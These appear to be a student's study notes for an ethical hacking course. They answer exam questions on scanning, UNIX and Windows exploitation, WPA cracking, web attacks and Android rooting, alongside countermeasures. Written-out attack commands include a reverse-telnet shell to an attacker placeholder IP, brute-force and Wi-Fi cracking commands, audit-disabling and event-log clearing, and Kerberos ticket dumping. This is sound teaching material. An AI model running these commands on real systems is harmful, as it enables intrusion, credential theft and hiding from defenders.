Course: Ethical Hacking

ETH Questions & Answer

Author: Michele Damato

1. **Describe at least one technique to determine which services are running or listening on a remote host. Discuss pro and cons, and which tools you may use in practice.**

   Techniques:

   - TCP Connect Scan
     - This type of scan connects to the target port and completes a full three-way handshake (SYN, SYN/ACK, and ACK).
     - Longer than some of the other scan types.
     - Logged from the target system.
   - TCP SYN Scan
     - Only a SYN packet is sent to the target port. If a SYN/ACK is received from the target port, we can deduce that it is in the LISTENING state.
     - If an RST/ACK is received, it usually indicates that the port is not listening.
     - Not Logged from the target system.
     - This form of scanning can produce a denial of service condition on the target by opening a large number of half-open connections.
     - Relatively safe.
   - TCP FIN Scan
     - Sends a FIN packet to the target port.
     - Based on RFC 793, the target system should send back an RST for all closed ports.
     - Only works on UNIX-based TCP/IP stacks.
   - TCP Xmas Tree scan
     - This technique sends a FIN, URG, and PUSH packet to the target port.
     - Based on RFC 793, the target system should send back an RST for all closed ports.
   - TCP NULL Scan
     - Turns off all flags.
     - Based on RFC 793, the target system should send back an RST for all closed ports.
   - TCP ACK Scan
     - Used to map out firewall rulesets.
     - It can help determine if the firewall is a simple packet filter allowing only established connections (connections with the ACK bit set) or a stateful firewall performing advance packet filtering.
   - TCP Windows Scan
     - May detect open as well as filtered/non filtered ports on some systems (AIX, FreeBSD and so on)
     - Due to an anomaly in the way the TCP window size is reported.
   - TCP RPC Scan
     - Specific in UNIX systems.
     - Used to detect and identify RPC (Remote Procedure Call) ports, their associated program and version number.
   - UDP Scan

- Sends a UDP packet to the target port.
- If the target port responds with an "ICMP port unreachable" message, the port is closed. Conversely, if you don't receive an "ICMP port unreachable" message, you can deduce the port is open.
- Very slow process.

Tools
Nmap is one of the most feature-rich port-scanning tools out there. First perform host discovery and by then port scanning only if the host that have been identified as being alive. TCP SYN Scan: option -sS option -oN to save the report in human-readable format to a file. option -f to fragment the packet, against a simple packet filter as primary firewall. Depending on the sophistication of the target network and hosts, the scans performed thus far may have easily been detected. Nmap provides the decoy-scan capabilities with the -D option, making it more difficult to discern legitimate port scans from bogus ones. You simply spoof the source address of legitimate servers and intermix these bogus scans with the real port scan. option -b to perform a FTP bounce scanning. FTP bounce attack is an exploit of the FTP protocol whereby an attacker is able to use the PORT command to request access to ports indirectly through the use of the victim machine as a middle man for the request.

SuperScan (Windows, GUI) allows for ping scanning, TCP and UDP port scanning, and includes numerous techniques for doing them all. SuperScan allows you to choose from four different ICMP host-discovery techniques, including traditional ECHO REQUESTS and the less familiar TIMESTAMP REQUESTS, ADDRESS MASK REQUESTS, and INFORMATION REQUESTS. Additionally, the tool allows you to choose the ports to be scanned, the techniques for UDP scanning (including Data, Data+ICMP, and static source port scanning), and the techniques for TCP scanning (including SYN, Connect, and static source port scanning).

ScanLine (Windows, command line) like netcat, it is just a single executable, which makes it easy to load onto a compromised host and pivot to target internal systems that may be inaccessible from your initial attack system.

Netcat (command line) [Swiss Army knife of security] is an excellent utility that deserves an honorable mention. Netcat's basic TCP and UDP port-scanning capabilities are useful in some scenarios when you need to minimize your footprint on a compromised system. By default, netcat uses TCP ports. Therefore, we must specify the -u option for UDP scanning. The **-v** and **-vv** options provide verbose and very verbose output, respectively. The **-z** option provides zero mode I/O and is used for port scanning, and the **-w2** option provides a timeout value for each connection.

2. **Describe at least one attack method to gain remote access on a UNIX system. Describe at least one attack method to gain root access. Discuss pro and cons.**

Remote access
involves network access or access to another communications channel, such as a dial-in modem attached to a UNIX system. We are limiting our discussion to accessing a UNIX system from the network via TCP/IP. Four primary methods are used to remotely circumvent the security of a UNIX system:

- Exploiting a listening service (for example, TCP/UDP);
- Routing through a UNIX system that is providing security between two or more networks;
- User-initiated remote execution attacks (via hostile website, trojan and so on);
- Exploiting a process or program that has placed the network interface into promiscuous mode.

Brute-force Attacks: We start off our discussion of UNIX attacks with the most basic form of attack brute-force password guessing. A brute-force attack is nothing more than guessing a user ID/password combination on a service that attempts to authenticate the user before access is granted. Most passwords are guessed via an automated brute-force utility:

- THC Hydra;
  - example with SSH brute-force using two dictionary (username and password):
    - hydra -L users.txt -P password.txt 192.168.56.101 ssh

- Medusa.

Data-driven Attacks: A data-driven attack is executed by sending data to an active service that causes unintended or undesirable results. Of course, "unintended and undesirable results" is subjective and depends on whether you are the attacker or the person who programmed the service.

Buffer Overflow Attacks: A buffer overflow condition occurs when a user or process attempts to place more data into a buffer (or fixed array) than was previously allocated. This type of behavior is associated with specific C functions such as strcpy(), strcat(), and sprintf(), among others. A buffer overflow condition would normally cause a segmentation violation to occur. However, this type of behavior can be exploited to gain access to the target system. Example: What happens if attackers connect to sendmail daemon and send a block of data consisting of 1k 'a' to the VRFY command rather than a short username?
echo "vrfy 'perl -e 'print "a" x 1000"" — nc www.example.com 25
The VRFY buffer is overrun because it was only designed to hold 128 bytes. Could cause a DoS and crash the daemon. However, it is even more dangerous to have the target system execute code of your choosing. This is exactly how a successful buffer overflow attack works. Instead of sending 1.000 letter a's to the VRFY command, the attackers send specific code that overflows the buffer and executes the command

```
/bin/sh
(to gain root access)
```

When the attack is executed, special assembly code known as the *egg* is sent to the VRFY command as part of the actual string used to overflow the buffer. When the VRFY buffer is overrun, attackers can set the return address of the offending function, which allows them to alter the flow of the program. Instead of the function returning to its proper memory location, the attacker execute the assembly code that was sent as part of the buffer overflow data (run /bin/sh).

I Want My Shell: We need to describe several techniques used to obtain shell access. The primary goal of any attacker is to gain command-line or shell access to the target system (telnet, rlogin, SSH and so on).

Reverse Telnet and Back Channels: We define *back channel* as a mechanism where the communication channel originates from the target system *rather* than from the attacking system. A few methods can be used to accomplish this task. In the first method, called *reverse telnet*, telnet is used to create a back channel from the target system to the attackers system. Because we are telnetting from the target system, we must enable *nc* listeners on our own system that will accept our reverse telnet connections:

```
nc -l -n -v -p 80
nc -l -n -v -p 25
```

If a service is already listening, it must be killed via the *kill* command so nc can bind to each respective port. To initiate a reverse telnet, we must execute the following commands on the target server:
/bin/telnet evil_hackers_IP 80 — /bin/bash — /bin/telnet evil_hackers_IP 25
Telnet on port 80 connects to our nc listener on port 80. Standard output or keystrokes are piped into /bin/sh. Then the results of our command into another telnet on port 25.
Countermeasures: The best prevention is to keep your systems secure so a back-channel attack cannot be executed (disabling unnecessary services and applying vendor patches).

Gain root access

Local Buffer Overflow: Buffer overflow vulnerabilities allow attackers to execute arbitrary code or commands on a target system. In August 2011, ZadYree released a vulnerability related to a stack-based buffer overflow condition in the RARLAb unrar 3.9.3 archive package, a Linux port of the popular WinRar archive utility. By persuading an unsuspecting user to open a specially crafted rar file, an attacker can trigger a local stack-based buffer overflow and execute arbitrary code on the system in the context of the user running the unrar application. When run, the exploit jumps to a specific address in memory, and/bin/sh is run in the context of the application. Countermeasures: The best buffer overflow countermeasure is secure coding practices combined with a nonexecutable stack.

Symlink: Many SUID root programs are coded to create working files in /tmp or other directories without the slightest bit of sanity checking. A symbolic link is a mechanism where a file is created via the 'ln' command. A symbolic link is nothing more than a file that points to a different file. Let's reinforce

the point with a specific example. In 2009, King Cope discovered a symlink vulnerability in xscreensaver 5.01 that can be used to view the contents of other files not owned by a user. Xscreensaver reads user configuration options from the file ~/.xscreensaver. If the .xscreensaver file is a symlink to another file, then that other file is parsed and output to the screen when the user runs the xscreensaver program. Because OpenSolaris installs xscreensaver with the setuid bit set, the vulnerability allows us to read any file on the file system.

Race Condition: Attackers take advantage of a program or process while it is performing a privileged operation. Typically, this includes timing the attack to abuse the program or process after it enters a privileged mode but before it gives up its privileges. A vulnerability that allows attackers to abuse this window of opportunity is called a race condition. A race condition or race hazard is the behavior of an electronics, software, or other system where the system's substantive behavior is dependent on the sequence or timing of other uncontrollable events. It becomes a bug when one or more of the possible behaviors is undesirable. If the attackers successfully manage to compromise the file or process during its privileged state, it is called "winning the race".

3. **Describe at least one method for attacking WPA. Which countermeasures can be used?**

Obtaining the Four-Way Handshake Regardless of how you actually brute force the key, all tools require a captured four-way handshake. The handshake happens every time a client connects to a wireless network. So you can wait around to sniff the handshake passively, or kick a client off with the de-authentication attack just so you can sniff the handshake when the client reconnects. Make sure your wireless packet-capturing tool is set to watch only the specific channel your target is on. If you don't, you may hop to a different channel and only capture part of the handshake.

```
root@root:~# airodump-ng --channel 11 --bssid 00:16    --write wpa-psk mon0
```

Brute Forcing With the four-way handshake in hand, you're ready to launch an offline brute-force attack.
#1 method: ***Aircrack***

```
root@root:~# aircrack-ng -w password.lst wpa-psk.cap
```

#2 method: ***Raimbow tables*** Rainbow tables contain precomputed hashes for a particular algorithm type. These tables can greatly reduce cracking time in cases where you have to crack the same algorithm multiple times. When performing an offline brute-force attack, the brute-forcing program takes a string that it guesses is the password, encrypts it with the applicable algorithm (producing a hash), and then compares that hash to the one you're trying to brute force. If the hashes match, the guess was correct; if they don't, the brute-forcing program moves on to the next string.
#3 method: **GPU cracking** Our computers' graphics cards are loaded with multiple cores, can complete tasks very quickly, and are designed for optimal performance, making them great candidates for password cracking. By offloading the hash creation process to the Graphical Processing Unit (GPU), we can increase our cracking speeds.

Countermeasure: WPA-PSK security all comes down to the complexity of the chosen pre-shared key and your users' integrity. If you choose an extremely complex pre-shared key, but share it among 100 users, and one of them knowingly or unknowingly discloses the credentials, the entire network is at risk. Ensure WPA-PSK is only used in environments where all options are considered, and ensure the key is complex enough to withstand a dedicated attacker.

4. **Explain differences between Cross-Site scripting and Cross Site Request Forgery. Which countermeasures can be used?**

Cross-Site scripting typically arises from input/output validation deficiencies in web applications. However, unlike many of the other attacks we've cover in this chapter, XSS is typically targeted not at the application itself, but rather at *other users* of the vulnerable applications. Thus, XSS attack payloads typically affect the application end user, a commonly misunderstood aspect of these widely sensationalized exploits. Properly executed XSS attacks can be devastating to the entire user community of a given web application, as well as the reputation of the organization hosting the vulnerable application. Specifically, XSS can result in hijacked accounts and sessions, cookie theft, misdirection, and misrepresentation of organizational branding. Nearly every single XSS vulnerability we've come across involved failure to strip angle brackets from input or failure to encode such brackets in output.
Countermeasures: General approaches recommended

- Filter out input parameters for special characters (<, >, (?), #, &, ")
- HTML-encode output so even if special characters are in input, they appear harmless to subsequent users of the application
- If your application set cookies, use Microsoft's HttpOnly cookies
- Analyze your application for XSS vulnerabilities on a regular basis using the many tools and techniques

Cross-Site Request Forgery (CSRF) vulnerabilities have been known about for nearly a decade, but it is only recently that they have been recognize as a serious issue. The MySpace worm (2005) rocketed them to the forefront of web application security, and subsequent abuses earned them position number 5 on the OWASP top 10. The concept behind CSRF is simple: web applications provide users with persistent authenticated sessions, so they don't have to reauthenticate themselves each time they request a page. But if an attacker can convince the user's web browser to submit a request to the website, he can take advantage of the persistent session to perform actions as the victim. Attacks can result in a variety of ill outcomes for victims: their account passwords can be changed, funds can be transferred, merchandise purchased, and more. Because the victim's browser is making the request, an attacker can target services to which he normally would not have access.
Countermeasures: The key to preventing CSRF vulnerabilities is somehow tying the incoming request to the authenticated session. What makes CSRF vulnerabilities so dangerous is the attacker doesn't need to know anything about the victim to carry out the attack. Once the attacker has crafted the dangerous request, it works on any victim that has authenticated to the website. To foil this, your web application should insert random values, tied to the specified user's session, into the forms it generates. If a request comes in that does not have a value that matches the user's session, require the user to reauthenticate and confirm that he wishes to perform the requested action.

5. **Discuss the differences between scanning and enumeration. Describe at least one enumeration technique.**

Scanning is equivalent to inspecting the walls for doors and windows as potential entry points. An attacker can typically turn next to probing the identified services more fully for known weaknesses, a process we call **enumeration**.
The key difference is in the level of intrusiveness. Enumeration involves active connections to systems and directed queries. As such, they may be logged or otherwise noticed. In general, the information attackers seek via enumeration includes user account names (to inform subsequent password-guessing attacks), oft-misconfigured shared resources (for example, unsecured file shares), and older software versions with known security vulnerabilities (such as web servers with remote buffer overflows). Enumeration techniques tend to be platform-specific and are, therefore, heavily dependent on information gathered with Scanning (port scans and OS detection). In fact, port scanning and enumeration functionality are often bundled into the same tool, as you saw with Scanning with programs such as SuperScan, which can scan a network for open ports and simultaneously grab banners from any it discovers listening.
Techniques:

Basic Banner Grabbing: Banner grabbing can be simply defined as connecting to remote services and observing the output, and it can be surprisingly informative to remote attackers. At the very least, they may identify the make and model of the running service, which in many cases is enough to set the vulnerability research process in motion. This section briefly catalogs the most common manual techniques for banner grabbing. **Telnet and netcat:** The tried-and-true manual mechanism for enumerating banners and application info has traditionally been based on telnet. Using telnet to grab banners is as easy as opening a telnet connection to a known port on the target server, pressing ENTER a few times, if necessary, and seeing what comes back. For a slightly more surgical probing tool, rely on netcat, the "TCP/IP Swiss Army knife". Here, we examine one of its more simplistic uses, connecting to a remote TCP/IP port and enumerating the service banner:

```
nc -v www.example.com 80
```

As we've already noted, the best defense against banner grabbing is to shut down unnecessary services. Alternatively, restrict access to services using network access control. You need to research the correct

way to disable the presentation of the vendor and version in banners.

Enumerating FTP (TCP 21): Public FTP sites end up hosting sensitive and potentially embarrassing content. Even worse, many such sites are configured for anonymous access. We can use anonymous and a spurious email-address to authenticate to this anonymous service:

```
ftp ftp.exampe.com
```

Also graphical FTP clients are available (such as FileZilla). Countermeasures: Should just be turned off. Always use Secure FTP (SFTP, with SSH encryption) or FTP Secure (FTPS, with SSL) protected by strong password or certificate-based authentication.

Enumerating SMTP (TCP 25): SMT provides two built-in commands that allow for the enumeration of the users (after a connection with telnet on the port 25, netcat as well):

- vrfy <mail>
  - confirm names of valid users.
- expn <mail>
  - reveals the actual delivery addresses of aliases and mailing lists.

A tool called vrfy.pl can speed up tis process. Countermeasures: Should just be turned off. Popular SMT server can disable these commands through the file mail.cf (SMTP version >= 8). If they don't, consider switching vendors!

6. **The Administrator account of a Windows server has been compromised. Host software cannot be re-installed for business reasons. With these assumptions, how do you plan and implement post-exploit activities for the host recovery. In particular, list the areas of the system on which to intervene, to restore the hosts security. Discuss in detail at least one of these areas of intervention, listing the activities to be carried out, the tools, the line commands to be used, etc.**

   Filenames: Any halfway intelligent intruder renames files or takes other measures to hide them, but looking for files with suspect names may catch some of the less creative intruders on your systems. Another common technique is to copy the cmd.exe to various place on disk using different names (lok for root.exe, sensepost.exe and other similarly names files). Also pay attention to files under %SYSTEMROOT%\PROFILES (anything in these folders launches at boot time). Use anti malware software for detection and prevention.

   Registry entries: Hunting down rogue Registry values can be quite effective, because most of the applications we discussed expect to see specific values in specific locations. Start looking is HKLM\SOFTWARE and HKEY_USERS\.DEFAULT\Software where most installed applications reside in the Windows Registry. Using the command-line reg.exe tool deleting these keys is easy (even on a remote system): (example) reg delete HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3 Check the standard Windows startup keys because attackers almost always place necessary values under this registry. Attacker can have a perpetual back door into this system until the administrator gets wise and manually removes the Registry value.

   Processes: For those executable tools that cannot be renamed or otherwise repackaged, regular analysis of the Process List can be useful. Typically a malicious process is engaged in some activity so it should appear near the top of the list (after ordering for CPU usage). We can kill process from the GUI or using the command-line 'taskkill' utility (the PID of the rogue process must be gleaned first).

   Ports: Periodically checking 'netstat' for such rogue connections is sometimes the best way to find a listener or a malicious software. We can run 'nestat -an' on our target server to find out the listening and established connection on the server.

7. **Describe UNIX permission system and the main attack vectors related to permission system.** File permissions are specified by 3 access classes: user, group and others:

   - user class permissions apply to the owner of the file;
   - group class permissions apply to users who are part of a specific group;

- others class permissions apply to everyone else.

For each access class three access types can be set: read (r), defines if the given class can read the file; write (w), defines if the given class can write the file; execute (x), defines if the given class can execute the file. Each file also has 3 special modes, valid for all classes:

- Set user id (SUID);
- Set group id (SGID);
- Sticky.

When a file with SUID is executed, the process assumes the effective user ID of the owner of the file:

- Provides flexibility and allows for temporary elevation of privileges;
- sudo, passwd require SUID to work
- Executing a SUID file owned by root spawns a process with EUID 0 (root)

Exploiting misconfigured SUID

- Many SUID programs create temp files, stored in /tmp;
- $ stat /tmp: Access: (1777/drwxrwxrwt);
- strings /bin * | grep tmp.

8. **Describe the SQL injection technique in web applications. Discuss the possible countermeasures. Describe at least one automated SQL injection tool.**
In response to a request for a web page, the application generates a query, often incorporating portions of the request into the query. If the application isn't careful about how it constructs the query, an attacker can alter the query, changing how it is processed by the external service. These injection flaws can be devastating because the service often trusts the web application fully and may even be "safely" ensconced behind several firewalls. SQL injection refers to inputting raw SQL queries into an application to perform an unexpected action. Often, existing queries are simply edited to achieve the same results, SQL is easily manipulated by the placement of even a single character in a judiciously chosen spot, causing the entire query to behave in quite malicious ways. Some of the characters commonly used for such input validation attacks include the backtick (‘), the double dash (–), and the semicolon (;), all of which have special meaning in SQL.
Automated tool
SQL injection is typically performed manually, but some tools are available that can help automate the process of identifying and exploiting such weaknesses. Both of the commercial web application assessment tools we mentioned previously, HP WebInspect and Rational AppScan, have tools and checks for performing automated SQL injection. Completely automated SQL injection vulnerability detection is still being perfected, and the tools generate a large number of false positives, but they provide a good starting point for further investigation.
SQL Power Injector is a free tool to analyze web applications and locate SQL injection vulnerabilities. Built on the .NET Framework, it targets a large number of database platforms, including MySQL, Microsoft SQL Server, Oracle, Sybase, and DB2.
Absinthe is a GUI-based tool that automatically retrieves the schema and contents of a database that has a blind SQL injection vulnerability. Supporting Microsoft SQL Server, Postgres, Oracle, and Sybase, Absinthe is quite versatile.
For a more thorough drubbing, **Sqlninja**, provides the ability to take over the host of a Microsoft SQL Server database completely. Run successfully, Sqlninja can also crack the server passwords, escalate privileges, and provide the attacker with remote graphical access to the database host. Another common tool is **sqlmap**. Sqlmap provides support for most common RDBMS being used today.
Countermeasures: SQL injection is one of the easiest attacks to avoid. Here is an extensive but not complete list of methods used to prevent SQL injection:

- Use bind variables (parameterized queries)
  - static/bind variables.
- Perform strict input validation on any input from the client
- Implement default error handling

- Lock Down ODBC
  - Disable the execution of arbitrary SQL disabling the messaging to clients.
- Lock down the database server configuration
- Use programming frameworks
  - Like Hibernate to use bind variables

9. **Explain what steps attacker should take to cover his tracks after succesfully gaining administartor privileges on windows system in order to avoid detection. Attackers can aid their files in the system?**
Once intruders have successfully gained Administrator or SYSTEM-equivalent privileges on a system, they will take pains to avoid further detection of their presence.

   Disabling Auditing: Because auditing can slow performance on active servers most Windows admins either don't enable auditing or enable only a few checks. The first thing intruders check on gaining Administrator privilege is the Audit policy status on the target. 'auditpol' command with the 'disable' argument to turn off the auditing on a remote system: auditpol /disable At the end of their stay, the intruders simply turn on auditing again using the 'auditpol /enable' switch.

   Clearing the Event Log: If activities leading to Administrator status have already left telltale traces in the Windows Event Log, intruders may just wipe the logs clean with the Event Viewer. Event Viewer on the attacker's host can open, read and clear the remote host's logs. This process clears the log of all records but it does leave one new record statis that the Event Log has been cleared by 'attacker' (can raise alarms among system users). The 'ELSave' utility is a simple tool for clearing the Event Log. Syntax to clear the Security Log on the remote server 'joel': elsave -s \\joel -l "Security" -C

   Hiding Files: Keeping a toolkit on the target system for later use is a great timesaver for the next attack. attrib: Hiding files gets no simpler than copying files to a directory and using the old DOS attrib tool to hide it: attrib +h [directory] (hides files and directories from command-line tools, but not if the 'Show All Files' is selected in Windows) ADS (Alternate Data Streams): If the target systems runs the NTFS, an alternate file-hiding technique is available to intruders. NTFS offers support for multiple streams of information within a file (a mechanism to add additional attributes or information to a file without restructuring the file system). It also be used to hide a malicious hacker's toolkit (called adminkit). Any file could be used.

   Rootkits: However, more insidious techniques are beginning to come into vogue, especially the use of Windows rootkits. A rootkit is a collection of computer software, typically malicious, designed to enable access to a computer or an area of its software that is not otherwise allowed (for example, to an unauthorized user) and often masks its existence or the existence of other software.

10. **Explain briefly what a buffer overflow attack is. Describe at least one buffer overflow technique that allows hackers gain remote access to a Unix system even when data execution prevention is enabled. Describe at least two countermeasure against standard overflow attack in Unix system**
A buffer overflow condition occurs when a user or process attempts to place more data into a buffer (or fixed array) than was previously allocated. This type of behavior is associated with specific C functions such as strcpy(), strcat(), and sprintf(), among others. A buffer overflow condition would normally cause a segmentation violation to occur. However, this type of behavior can be exploited to gain access to the target system. Example: What happens if attackers connect to sendmail daemon and send a block of data consisting of 1k 'a' to the VRFY command rather than a short username?
echo "vrfy 'perl -e 'print "a" x 1000"" — nc www.example.com 25
The VRFY buffer is overrun because it was only designed to hold 128 bytes. Could cause a DoS and crash the daemon. However, it is even more dangerous to have the target system execute code of your choosing. This is exactly how a successful buffer overflow attack works. Instead of sending 1.000 letter a's to the VRFY command, the attackers send specific code that overflows the buffer and executes the command

```
/bin/sh  (to gain root access)
```

   When the attack is executed, special assembly code known as the *egg* is sent to the VRFY command as part of the actual string used to overflow the buffer. When the VRFY buffer is overrun, attackers can set

the return address of the offending function, which allows them to alter the flow of the program. Instead of the function returning to its proper memory location, the attacker execute the assembly code that was sent as part of the buffer overflow data (run /bin/sh). Win!
Countermeasures:
- Secure coding practices

- Minimize buffer overflow conditions in your code.
- Design the program from the outset with security in mind.
- Enable the Stack Smashing Protector (SSP), provided by the gcc compiler. Uses a *canary value* to identify stack overflows in an effort to help minimize the impact of buffer overflows.
- Validate all user-modifiable input.
- Use more secure routines (such as strncpy() and strncat()).
- Reduce the amount of code that runs with root privileges. Even if a buffer overflow were executed, users would still have to escalate their privileges to root.
- Apply all relevant security patches.

- Test and Audit program
- Disable Unused or Dangerous Services
- Stack Execution Protection (marks memory regions as non-executable, such that an attempt to execute machine code in these regions will cause an exception)
- Address Space Layout Randomization (ASLR)

- The basic premise of ASLR is the notion that most exploits require prior knowledge of the address space of the program being targeted. If a process address space is randomized each time a process is created, it will be difficult for an attacker to predetermine key addresses (the attacker will be forced to guess or brute-force key memory addresses).

Return-to-libc Attacks: Return-to-libc is a way of exploiting a buffer overflow on a UNIX system that has stack execution protection enabled. With stack execution protection a standard buffer overflow will not work because injection of arbitrary code is prohibited. In this attack the attacker returns into the standard C library (libc), rather than returning to arbitrary code on the stack (bypass stack execution protection by calling existing code). Like a standard buffer overflow, a return-to-libc attack modifies the return address to point at a new location that the attacker controls to subvert the program's control flow (only use existing executable code from the running process).
Countermeasures: Possible mitigation strategies have included the removal of possible gadget sources during compilation, the detection of memory violations and the detection of function streams with frequent returns.

11. **Describe at least one method to attack WPA Enterprise. What are the possible countermeasures?**
The attacks that you can do are:

(a) **Identifying EAP Types**

In order to gear our attack toward a particular EAP type, we first need to identify what EAP type a client is using. We do this by observing the communication between the client and the AP during the initial EAP handshake. We can capture the EAP handshake in essentially the same way that we captured the four-way handshake when we targeted WPA-PSK. Once we have the handshake, we'll analyze it using a standard packet capturing tool to figure out the network client. Using Wireshark, we filter on "eap" to inspect only the EAP handshake. Wireshark parses out the important information and shows us the EAP type right in the Info column.

(a) **LEAP**

The Lightweight Extensible Authentication Protocol (LEAP) wireless technology was first created and brought to market by Cisco Systems. Unfortunately they uncovered a horrible secret. LEAP takes an MSCHAPv2 challenge and response and transmits them in the clear over the wireless network. In just about any scenario where an attacker can observe a challenge and also the response, you have the potential for an offline brute-force attack. *Command:*

```
# asleap -r leap.cap -W password.lst
```

Countermeasure: LEAP has been in the same bucket as WEP for a number of years now. It's sort of a bruise on the face of wireless security, but the truth of the matter is that with an extremely complex password, LEAP can be secure.

(a) **EAP-TTLS and PEAP**

EAP-TTLS and PEAP are two of the most commonly used EAP types. They establish a TLS tunnel between the unauthenticated wireless client and a wired-side RADIUS server. The AP has no visibility into this tunnel and simply relays the traffic between the two. The TLS tunnel is established so the client can transmit credentials via a less secure, inner authentication protocol. TLS is a relatively secure protocol, so "tapping" into the tunnel is currently out of the question. However, since the nature of wireless networks makes them extremely susceptible to AP impersonation and man-in-the-middle attacks, another option is available. The trick here is to impersonate the AP that the target client is looking to connect to and then act as the terminating end of the TLS tunnel.
Countermeasure: EAP-TTLS and PEAP can be secured with a simple checkbox and an input field. Be sure to validate the server certificate on all wireless clients connecting with EAP-TTLS and PEAP. By checking that box and defining the common name on the certificate, you force clients to ignore any RADIUS servers that are not explicitly allowed on by you, and therefore, an attacker won't be able to terminate the TLS tunnel.

12. **What are ping sweeps? Describe at least two host discovery techniques, and at least one tool used to perform host discovery.**
A **ping sweep** is a method that can establish a range of IP addresses which map to live hosts.
Discovery
ARP Host Discovery The Address Resolution Protocol (ARP) translates a system's hardware (MAC) address to the IP address that has been assigned to it. The system has to send some sort of ARP request to start traversing the path to reach its destination. An ARP scan sends an ARP request out for every host on a subnet, and the host is considered "alive" if an ARP reply is received. arp-scan: Simple ARP pinging and fingerprinting utility. You must run arp-scan as the root user. nmap (UNIX, Windows, Mac): de facto tool for anything related to host and services discovery. Support ap scanning via the -PR option. To only perform a host discovery and not a port scanning you can specify the -sn option. Cain: It provides a ton of functionality for the Windows-only crowd that goes way beyond hosts and service discovery. To perform an ARP host discovery launch CAin, go to Configure, select the network interface, enable the sniffer and then from the sniffer tab right-click and select scan mac addresses.

ICMP Host Discovery ICMP provides a variety of message types to help diagnose the status of a host and its network path. Common ICMP types:

- type 0: echo reply (ping)
- type 8: echo request (ping reply)
- type 13: timestamp (sys time)
- type 17,18: address mask request/reply (local subnet mask)

TCP/UDP Host Discovery For the networks that limit ICMP, the next approach an attacker can take to identify live hosts is to use TCP and/or UDP packets. At least one open port is always available for clients to connect to.
Tools
Nmap: Nmap **-sn** option enables a hybrid-type of attack where it attempts ARP, ICMP, and TCP host discovery. If our target host does not have TCP port 80 open, or Nmap's packets are otherwise dropped on the way to the target (e.g., by a firewall), Nmap considers the host down. We can blindly attempt to query Nmap's default port list (which is comprised of 1,000 commonports) by telling Nmap to ignore its host discovery options and just do a port scan (described in more detail in the next section of this chapter). Nmap option **-Pn** to port scan.

SuperScan: Using the TCP/UDP port scan options, you can determine whether a host is alive or not-without using ICMP at all. Simply select the checkbox for each protocol you wish to use and the type of

technique you desire, and you are off to the races.

nping: As expected, you can also use nping to perform TCP/UDP host discovery. Since nping is so versatile, its output is more verbose by default, which may be more information than you really need.

13. **What are the three main network password exchange protocols used in Windows systems? Describe the pass-the-hash and pass-the-ticket attacks and countermeasures**
Three main network password exchange: LM (LanManager), NTLM (NT Lan Manager), Kerberos.

LM authentication protocol exploit a weakness in the Windows challenge/response implementation that makes it easy to exhaustively guess the original LM hash credential

NTLM is a challenge/response protocol. The authentication happens something like this: First, the client attempts to login and the server responds with a challenge.In effect the server says, If you are who you say you are, then encrypt this thing (Challenge X) with your hash. Next, the client encrypts the challenge and sends back the encrypted challenge response. The server then attempts to decrypt that encrypted challenge response with the users password hash. If it decrypts to reveal the challenge that it sent, then the user is authenticated.

Kerberos implementation sends a preauthentication packet that contains a known plaintext (a timestamp) encrypted with a key derived from the users password.

Pass-the-Hash: Pass-the-hash is a technique that allows an attacker to authenticate to a remote server using the LM and/or NTLM hash of a user's password, eliminating the need to crack/brute-force the hashes to obtain the cleartext password (which is normally used to authenticate). In the context of NTLM authentication, Windows password hashes are equivalent to cleartext passwords, so rather than attempting to crack them offline, attackers can simply replay them to gain unauthorized access. In 2000, Hernan Ochoa published techniques for implementing the pass-the- hash technique natively in Windows by modifying at runtime the username, domain name, and password hashes stored in memory. These allow you to pass-the-hash using Windows native applications like Windows Explorer to access remote shares, administrative tools like Active Directory Users and Computers, and any other Windows native application that uses NTLM authentication. This technique has become very popular among penetration testers and attackers because it can allow the compromise of the whole Windows domain after compromising a single machine.
Countermeasures: The pass-the-hash technique is inherent to the NTLM authentication protocol; all services using this authentication method (SMB, FTP, HTTP, etc.) are vulnerable to this attack. Using two-factor authentication might help in some situations, but in most network environments, you will most likely have to live with the possibility of the attack.

Pass the Ticket for Kerberos: When using Kerberos authentication, clients authenticate to remote services on remote systems using "tickets" and create new tickets using the Ticket Granting Ticket (TGT) provided by the Key Distribution Center (KDC), which is part of the domain controller, on logon. In the same manner that pass-the-hash allows an attacker to replay the user password NTLM hashes to authenticate to the remote system. After a successful compromise, an attacker can dump existing Kerberos tickets in the following manner (using the Windows Credential Editor): wce.exe -K
Countermeasure: For mitigating Kerberos sniffing attacks, there is no single Registry value to set as with LM

14. **How attackers use back channel to gain remote access to a Unix system? Describe an attack scenario and explain the possible commands that attackers use to create a back channel. Discuss the possible countermeasures.**
Reverse Telnet and Back Channels:
We define *back channel* as a mechanism where the communication channel originates from the target system *rather* than from the attacking system. A few methods can be used to accomplish this task. In the first method, called *reverse telnet*, telnet is used to create a back channel from the target system to the attackers system. Because we are telnetting from the target system, we must enable *nc* listeners on our own system that will accept our reverse telnet connections:

```
nc -l -n -v -p 80
nc -l -n -v -p 25
```

If a service is already listening, it must be killed via the *kill* command so nc can bind to each respective port. To initiate a reverse telnet, we must execute the following commands on the target server:
/bin/telnet evil_hackers_IP 80 — /bin/bash — /bin/telnet evil_hackers_IP 25
Telnet on port 80 connects to our nc listener on port 80. Standard output or keystrokes are piped into /bin/sh. Then the results of our command into another telnet on port 25.
Countermeasures: The best prevention is to keep your systems secure so a back-channel attack cannot be executed (disabling unnecessary services and applying vendor patches).

15. **Hacking Other Androids: Describe at least two methods to attack others Android devices. What are the possible countermeasures?**
Remote Shell via WebKit: Floating point vulnerability in the WebKit open source web browser engine. The root cause of this vulnerability is improper handling of floating point data types in WebKit, which drives the default browsers on many mobile platforms (iOS, Android and so on). The exploit is basically a crafted HTML file that, when accessed through a web server using the default Android web browser, returns a remote shell. Successful exploitation requires a web server to host the HTML file (like Apache2).
Countermeasures: Get the latest version of Android and install antivirus software.

Root an Android remotely (RageAgainstTheCage, RATC): With the previous exploit we do not have root privileges and, therefore, we are limited in power. To have full access, it is necessary to execute a root exploit. Two popular root exploits for Android are *exploid* and *RATC* (RageAgainstTheCage) since they are targeted at the currently largest proportion of Android installed base (version 1.x/2.x). Rage Against the Cage (RAtC) exploits the fact that the Android Debug Bridge daemon (adb) on Android devices starts as root by default, and calls setuid to drop its privileges to those of a shell account. The ADB daemon is what runs on Android phones to enable Android software developers to communicate with the phones they're testing their software on.
Countermeasures: Get the latest version of Android and install antivirus software.

